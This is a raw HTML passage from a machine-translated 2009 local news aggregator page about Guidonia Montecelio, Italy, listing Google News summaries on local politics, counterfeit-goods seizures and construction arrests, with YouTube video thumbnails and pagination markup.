href="http://www.guidonia.net/wp?tubepress_page=4&lang=en" >4</a> <a href="http://www.guidonia.net/wp?tubepress_page=5&lang=en" >5</a> ... <a href="http://www.guidonia.net/wp?tubepress_page=622&lang=en" >622</a> <a href="http://www.guidonia.net/wp?tubepress_page=623&lang=en" >623</a> <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=en" >successivo</a></span> <span class=disabled>previous</span> <span class=current>1</span> <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=en" >2</a> <a href="http://www.guidonia.net/wp?tubepress_page=3&lang=en" >3</a> <a href="http://www.guidonia.net/wp?tubepress_page=4&lang=en" >4</a> <a href="http://www.guidonia.net/wp?tubepress_page=5&lang=en" >5</a> ... <a href="http://www.guidonia.net/wp?tubepress_page=622&lang=en" >622</a> <a href="http://www.guidonia.net/wp?tubepress_page=623&lang=en" >623</a> <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=en" >next</a></span> </div></div><!--
+	<div class="tubepress_video_thumbs">
+		<div class="tubepress_thumb">
+	<div class="tubepress_video_thumb_inner" style="width: 120px">
+	
+	
+		<a href="#" onclick="tubePress_normalPlayer('%3Cobject%20type%3D%22application%2Fx-shockwave-flash%22%20%0A%20%20%20%20style%3D%22width%3A%20425px%3B%20height%3A%20355px%22%20data%3D%22http%3A%2F%2Fwww.youtube.com%2Fv%2Fz32gTXwZyq0%26amp%3Brel%3D0%26amp%3Bautoplay%3D0%26amp%3Bloop%3D0%26amp%3Begm%3D0%26amp%3Bborder%3D1%26amp%3Bfs%3D1%26amp%3Bshowinfo%3D1%22%3E%0A%20%20%20%20%3Cparam%20name%3D%22wmode%22%20value%3D%22transparent%22%20%2F%3E%0A%20%20%20%20%3Cparam%20name%3D%22movie%22%20value%3D%22http%3A%2F%2Fwww.youtube.com%2Fv%2Fz32gTXwZyq0%26amp%3Brel%3D0%26amp%3Bautoplay%3D0%26amp%3Bloop%3D0%26amp%3Begm%3D0%26amp%3Bborder%3D1%26amp%3Bfs%3D1%26amp%3Bshowinfo%3D1%22%20%2F%3E%0A%20%20%20%20%3Cparam%20name%3D%22allowfullscreen%22%20value%3D%22true%22%20%2F%3E%0A%3C%2Fobject%3E', '425', 'Mansarda%20Guidonia%20Centro')" > 
+		<img  src="http://i.ytimg.com/vi/z32gTXwZyq0/hqdefault.jpg" width="120" height="90" alt="Mansarda Guidonia Centro" ></a>
+		
+		<div class="tubepress_meta_group">
+	
+			
+
+			
+			
+			 
+			
+			 
+
+			 
+			
+			 
+			
+			 
+			
+			
+
+		</div>
+		
+	</div>
+
+</div>
+
+	</div> --><!-- tubepress_video_thumbs --><!--
+	<div class="pagination"><div class=pagination><span  > <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=en" >2</a> <a href="http://www.guidonia.net/wp?tubepress_page=3&lang=en" >3</a> <a href="http://www.guidonia.net/wp?tubepress_page=4&lang=en" >4</a> <a href="http://www.guidonia.net/wp?tubepress_page=5&lang=en" >5</a> ... <a href="http://www.guidonia.net/wp?tubepress_page=622&lang=en" >622</a> <a href="http://www.guidonia.net/wp?tubepress_page=623&lang=en" >623</a> <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=en" >successivo</a></span> <span class=disabled>previous</span> <span class=current>1</span> <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=en" >2</a> <a href="http://www.guidonia.net/wp?tubepress_page=3&lang=en" >3</a> <a href="http://www.guidonia.net/wp?tubepress_page=4&lang=en" >4</a> <a href="http://www.guidonia.net/wp?tubepress_page=5&lang=en" >5</a> ... <a href="http://www.guidonia.net/wp?tubepress_page=622&lang=en" >622</a> <a href="http://www.guidonia.net/wp?tubepress_page=623&lang=en" >623</a> <a href="http://www.guidonia.net/wp?tubepress_page=2&lang=en" >next</a></span> </div></div> <span  > -&gt;</span> </div></p><p><embed width=400 height=55 menu=true loop=true play=true src=http://www.eleonline.it/123-banner_com_233205.swf pluginspage=http://www.macromedia.com/go/getflashplayer type=application/x-shockwave-flash></embed><br /></p><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=8&lang=en" >Read More</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=8#comment&lang=en" >No comment</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6286><h2> <span  > <a href="http://www.guidonia.net/wp?p=6286&lang=en" >GUIDONIA: PAGANO, UDC URGES ROADS AT RISK MAPPING - IRIS Press - National News Agency</a></span> </h2><p class=meta-header> <span  > Received on July 04, 2009 in <a href="http://www.guidonia.net/wp?cat=1&lang=en" >Guidonia News</a> by <a href="http://www.guidonia.net/wp?author=1&lang=en" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?Art=45200&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">GUIDONIA: PAGANO, UDC URGES ROADS AT RISK MAPPING</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>IRIS Press - National News Agency</b></font></font></span> <br /> <span  > <font size=-1>(IRIS) - <b>GUIDONIA MONTECELIO,</b> 4 LUG - &quot;One of the priorities to be addressed with due urgency, is that of road safety. They are too many accidents <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=deS6TQ9RkXlJg2M"><font class=p size=-1><b>more Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=6286&lang=en" >Read More</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=6286#comment&lang=en" >No comment</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6289><h2> <span  > <a href="http://www.guidonia.net/wp?p=6289&lang=en" >Guardia di Finanza.</a></span> <span  > <a href="http://www.guidonia.net/wp?p=6289&lang=en" >Seized the capital of 3 million pieces ... -</a> The <a href="http://www.guidonia.net/wp?p=6289&lang=en" >Western</a></span> </h2><p class=meta-header> <span  > Received on July 03, 2009 in <a href="http://www.guidonia.net/wp?cat=1&lang=en" >Guidonia News</a> by <a href="http://www.guidonia.net/wp?author=1&lang=en" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw"><b>Guardia di Finanza.</b></a></span> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw"><b>Seized the capital of 3 million pieces ...</b></a></span> <br /> <span  > The <font color=#6f6f6f><font size=-1><b>West</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> Chinese entrepreneurs operating in the same way and to locate 17 storage depots in the areas of East Rome and <b>Guidonia Montecelio. ...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=d12lqNpW1bnRGHM"><font class=p size=-1><b>more Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=6289&lang=en" >Read More</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=6289#comment&lang=en" >No comment</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6288><h2> <span  > <a href="http://www.guidonia.net/wp?p=6288&lang=en" >Gdf, big seizure of counterfeit goods for 20 million - Il Sole 24 Ore</a></span> </h2><p class=meta-header> <span  > Received on July 03, 2009 in <a href="http://www.guidonia.net/wp?cat=1&lang=en" >Guidonia News</a> by <a href="http://www.guidonia.net/wp?author=1&lang=en" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.leggonline.it/articolo.php?id=22339&usg=AFQjCNHEG9N8i1QJmeqAEyEByrETW-Kv8A"><font style=font-size:85%;font-family:arial,sans-serif><img src=http://nt1.ggpht.com/news/tbn/TeSdlT0cc62eQM/0.jpg alt="" border=1 width=80 height=80 /><br /></font></a> <span  > <font size=-2><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.leggonline.it/articolo.php?id=22339&usg=AFQjCNHEG9N8i1QJmeqAEyEByrETW-Kv8A"><font style=font-size:85%;font-family:arial,sans-serif>Online</font></a></font></span> </td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?DocRulesView=Libero&fd=R&sa=T&url=http://www.ilsole24ore.com/art/SoleOnLine4/Italia/2009/07/gdf-operazione-anti-contraffazione-cinesi.shtml?uuid=ba99858c-67b1-11de-bb24-784de86f3209&usg=AFQjCNE1JGpu-wnJ9FGmix1nbU4GEJc95Q">Gdf, big seizure of counterfeit goods for 20 million</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>Il Sole 24 Ore</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> Used for</font> the <font size=-1>introduction of counterfeits in Italy, have been identified 17 storage depots in the areas of East Rome and <b>Guidonia Montecelio. ...</b></font></span> <br /> <span  > <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363649&usg=AFQjCNHRBjcCVrfDM6GZyFiVGJnd6N_9Ww">Counterfeiting, withdrawn 3 million pieces &quot;false&quot; allegations <b>...</b></a> <nobr><font size=-1 color=#6f6f6f>the Newspaper</font></nobr></font></span> <br /> <span  > <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.apcom.net/newscronaca/20090703_075900_10880bf_65395.html&usg=AFQjCNG4dOURDr4FGElpVs3uWSs3tn5a4Q">Rome, maxi-operation anti-GDF: 1 arrest</a> <nobr><font size=-1 color=#6f6f6f>APCOM</font></nobr></font></span> <br /> <span  > <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.libero-news.it/adnkronos/view/148279&usg=AFQjCNHvVam7zihY5jX090CDBHQccnTHkg">ROME: GDF ATTACHMENT 3 MILLION items, AN ARREST AND <b>...</b></a> <nobr><font size=-1 color=#6f6f6f>Free-News.it</font></nobr></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=do9DR3p8ecvCfYMcwzdWNoypVvRvM"><font class=p size=-1><b>All news (12)</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=6288&lang=en" >Read More</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=6288#comment&lang=en" >No comment</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6287><h2> <span  > <a href="http://www.guidonia.net/wp?p=6287&lang=en" >Building Blitz on construction sites: 32 people arrested - il Giornale</a></span> </h2><p class=meta-header> <span  > Received on July 02, 2009 in <a href="http://www.guidonia.net/wp?cat=1&lang=en" >Guidonia News</a> by <a href="http://www.guidonia.net/wp?author=1&lang=en" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363305&usg=AFQjCNHMUvikvEMwctbLfYSqoZXqgNJ0GQ">Building Blitz on construction sites: 32 people arrested</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>il Giornale</b></font></font></span> <br /> <span  > <font size=-1>The inspections focused on areas east of Rome, the common Colleferro, <b>Guidonia Montecelio,</b> Arsoli, Capena and elder. <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=d6kg50PNcAxMjVM"><font class=p size=-1><b>more Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=6287&lang=en" >Read More</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=6287#comment&lang=en" >No comment</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6291><h2> <span  > <a href="http://www.guidonia.net/wp?p=6291&lang=en" >AWARD OF ROTARY GIORNALISTICA / in memory of Grazio AMMATURO ... - UnoNotizie.it</a></span> </h2><p class=meta-header> <span  > Received June 29, 2009 in <a href="http://www.guidonia.net/wp?cat=1&lang=en" >Guidonia News</a> by <a href="http://www.guidonia.net/wp?author=1&lang=en" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top> <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg"><font style=font-size:85%;font-family:arial,sans-serif><img src=http://nt0.ggpht.com/news/tbn/vB84q3PNtilB0M/0.jpg alt="" border=1 width=80 height=70 /><br /></font></a> <span  > <font size=-2><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg"><font style=font-size:85%;font-family:arial,sans-serif>UnoNotizie.it</font></a></font></span> </td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg"><b>AWARD OF ROTARY GIORNALISTICA / in memory of Grazio AMMATURO ...</b></a></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>UnoNotizie.it</b></font></font></span> <br /> <span  > <font size=-1>The Rotary Club of <b>Guidonia Montecelio</b> service has created a permanent award annually a journalist or a practitioner of a headboard is <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=dPhL1Yfw82Bfv2M"><font class=p size=-1><b>more Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=6291&lang=en" >Read More</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=6291#comment&lang=en" >No comment</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6295><h2> <span  > <a href="http://www.guidonia.net/wp?p=6295#39;TRUMPET&#39; NOT REVIEW A defeat - IRIS Press - National News Agency&lang=en" ">GUIDONIA: DC, PAGANO MAYOR &#39;TRUMPET&#39; NOT REVIEW</a> A <a href="http://www.guidonia.net/wp?p=6295#39;TRUMPET&#39; NOT REVIEW A defeat - IRIS Press - National News Agency&lang=en" ">defeat - IRIS Press - National News Agency</a></span> </h2><p class=meta-header> <span  > Received June 25, 2009 in <a href="http://www.guidonia.net/wp?cat=1&lang=en" >Guidonia News</a> by <a href="http://www.guidonia.net/wp?author=1&lang=en" >admin</a></span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?Art=43986&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">GUIDONIA: DC, PAGANO MAYOR &#39;TRUMPET&#39; IS NOT A REVIEW Losses</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>IRIS Press - National News Agency</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> For the victory to Mayor Eligio Rubeis of <b>Guidonia Montecelio,</b> and for months he has pursued, without success, to seek</font> an <font size=-1>alliance. <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=dp3-KeU4Jhn_l8M"><font class=p size=-1><b>more Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=6295&lang=en" >Read More</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=6295#comment&lang=en" >No comment</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6214><h2> <span  > <a href="http://www.guidonia.net/wp?p=6214#39;Notice to Marrazzo for the 2010 - il Giornale&lang=en" ">Notice to Marrazzo for the 2010 - il Giornale</a></span> </h2><p class=meta-header> <span  > Received June 25, 2009 in <a href="http://www.guidonia.net/wp?cat=3&lang=en" >News on Guidonia</a> from <a href="http://www.guidonia.net/wp?author=2&lang=en" >Guidonia-volleyball-football-game-camp - Google News</a></span> </p><table border=0 width=valign=top cellpadding=2 cellspacing=7><tr><td valign=top class=j> <font><br></font> <div><img alt="" height=1 width=1></div><div class=lh> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/0-0&fd=R&url=http://www.ilgiornale.it/a.pic1%3FID%3D361537&cid=0&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNEBvAQ0RFOUEosokE2KNoexhWMWEQ">Notice to Marrazzo for the 2010</a></span> <br> <span  > <font color=#6f6f6f><font size=-1>il Giornale</font></font></span> <br> <span  > <font size=-1>She lost Frosinone, <b>Guidonia,</b> New Source ...</font></span> <span  > <font size=-1>He won only in Rieti, which is the province with less population.</font></span> <span  > <font size=-1>A Frosinone input to the</font> leadership of <font size=-1>Pd was irrelevant: the advantage of Iannarilli in the first round was 5.5%, the second fell to 3.2 <b>...</b></font></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=6214&lang=en" >Read More</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=6214#comment&lang=en" >No comment</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6215><h2> <span  > <a href="http://www.guidonia.net/wp?p=6215#39;ASL Rm GÂ» - il Giornale&lang=en" ">Health Maselli, &quot;Managing allegra dell&#39;ASL Rm GÂ» - il Giornale</a></span> </h2><p class=meta-header> <span  > Received June 25, 2009 in <a href="http://www.guidonia.net/wp?cat=3&lang=en" >News on Guidonia</a> from <a href="http://www.guidonia.net/wp?author=2&lang=en" >Guidonia-volleyball-football-game-camp - Google News</a></span> </p><table border=0 width=valign=top cellpadding=2 cellspacing=7><tr><td valign=top class=j> <font><br></font> <div><img alt="" height=1 width=1></div><div class=lh> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/1-0&fd=R&url=http://www.ilgiornale.it/a.pic1%3FID%3D361544&cid=0&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNH6koOum_4w5tIpOqKr0vRkEMLH7w">Health Maselli, &quot;Managing allegra dell&#39;ASL Rm G</a></span> <br> <span  > <font color=#6f6f6f><font size=-1>il Giornale</font></font></span> <br> <span  > <font size=-1>&quot;The ASL - adds Maselli - has signed a lease with Cargest, for some local markets</font> in <font size=-1>general <b>Guidonia</b> with a volume of 183 thousand euros per year.</font></span> <span  > <font size=-1>How can the ASL control terzietÃ  food <b>...</b></font></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=6215&lang=en" >Read More</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=6215#comment&lang=en" >No comment</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6134><h2> <span  > <a href="http://www.guidonia.net/wp?p=6134&lang=en" >Social factors, to the monitoring of therapeutic results -</a> Pass</span> </h2><p class=meta-header> <span  > Received June 24, 2009 in <a href="http://www.guidonia.net/wp?cat=3&lang=en" >News on Guidonia</a> from <a href="http://www.guidonia.net/wp?author=2&lang=en" >Guidonia-volleyball-football-game-camp - Google News</a></span> </p><table border=0 width=valign=top cellpadding=2 cellspacing=7><tr><td width=80 align=center valign=top> <a href="http://news.google.it/news/url?sa=T&ct=it/2i-0&fd=R&url=http://www.superabile.it/web/it/CANALI_TEMATICI/Associazioni/Il_punto/info54820948.html&cid=1302435482&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNHY6N3PefsbK9VOnk0aHp4Ile4hiA"><font><img src=http://nt2.ggpht.com/news/tbn/ql-ZVSHRM3IJ width=80 height=66 alt="" border=1></font></a> </td><td valign=top class=j> <font><br></font> <div><img alt="" height=1 width=1></div><div class=lh> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/2-0&fd=R&url=http://www.superabile.it/web/it/CANALI_TEMATICI/Associazioni/Il_punto/info54820948.html&cid=1302435482&ei=kZFDSoXYGMuzsAbKjuSeDA&usg=AFQjCNHY6N3PefsbK9VOnk0aHp4Ile4hiA">Social factors, to the monitoring of therapeutic results</a></span> <br> <span  > <font color=#6f6f6f><font size=-1>Surmountable</font></font></span> <br> <span  > <font size=-1>Forum meeting between the bodies involved in agriculture and the social chairman of the province of Rome Zingaretti.</font></span> <span  > <font size=-1>Among the commitments made: a survey and make a stop for</font> the <font size=-1>job ROME - Establishing a committee <b>...</b></font></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=6134&lang=en" >Read More</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=6134#comment&lang=en" >No comment</a></span> </li></ul><div class=clear-left></div></div></div><div class=entry id=post-6004><h2> <span  > <a href="http://www.guidonia.net/wp?p=6004&lang=en" >ADMINISTRATIVE: PDL, IANNARILLI WIN A FROSINONE BOCCA RECEIVED ... - Free-News.it</a></span> </h2><p class=meta-header> <span  > Received June 23, 2009 in <a href="http://www.guidonia.net/wp?cat=3&lang=en" >News on Guidonia</a> from <a href="http://www.guidonia.net/wp?author=2&lang=en" >Guidonia-volleyball-football-game-camp - Google News</a></span> </p><table border=0 width=valign=top cellpadding=2 cellspacing=7><tr><td valign=top class=j> <font><br></font> <div><img alt="" height=1 width=1></div><div class=lh> <span  > <a href="http://news.google.it/news/url?sa=T&ct=it/0-0&fd=R&url=http://www.libero-news.it/adnkronos/view/142743&cid=1248270696&ei=9zVBSruML8qzsAbskdWWBQ&usg=AFQjCNHA3vhjGK13jxqNUznHpdrsqc-o4w">ADMINISTRATIVE: PDL, IANNARILLI WIN A FROSINONE BOCCA RECEIVED <b>...</b></a></span> <br> <span  > <font color=#6f6f6f><font size=-1>Free-News.it</font></font></span> <br> <span  > <font size=-1>Frosinone, 23 giu.</font></span> <span  > <font size=-1>- (Adnkronos) - &quot;The victory of Iannarilli and &#39;the victory of all the Pdl. After 15 years of misrule of center, the Province finally change and elect a president who will&#39; discontinuity &#39;in</font> the <font size=-1>government and that <b>.. .</b></font></span> </div></td></tr></table><div class=meta-footer><ul><li> <span  > <a href="http://www.guidonia.net/wp?p=6004&lang=en" >Read More</a></span> </li><li> <span  > <a href="http://www.guidonia.net/wp?p=6004#comment&lang=en" >No comment</a></span> </li></ul><div class=clear-left></div></div></div><div class=pagination><div class=prev-page> <span  > <a href="http://www.guidonia.net/wp?paged=2&lang=en" >Previous</a></span> </div><div class=next-page></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: ideas for the web</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>Ideas in search of funding: <a href=mailto:info@guidonia.net>contact us</a></b></span> </center></p><div class=clear></div></div><div class=feeds><span  > You can stay aÄ¡Ä¡ornata via <a href="http://www.guidonia.net/wp?feed=rss2&lang=en" >rss feed.</a></span> </div><div class=col><div class=box><h3> <span  > Videos about Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp/# onclick="tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > GUIDONIA CENTER, ad.</span> <span  > Viale Roma Railway Station and ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner><a href="http://www.guidonia.net/wp/# onclick="tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Words and Sounds Days - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Pieces of the legendary concert of a Moro Guidonia of ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp/# onclick="tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Pieces of the legendary concert of a Moro Guidonia of ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp/# onclick="tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - The Meaning Of Everything Is - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Pieces of the legendary concert of a Moro Guidonia of ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp/# onclick="tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Non Import - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Pieces 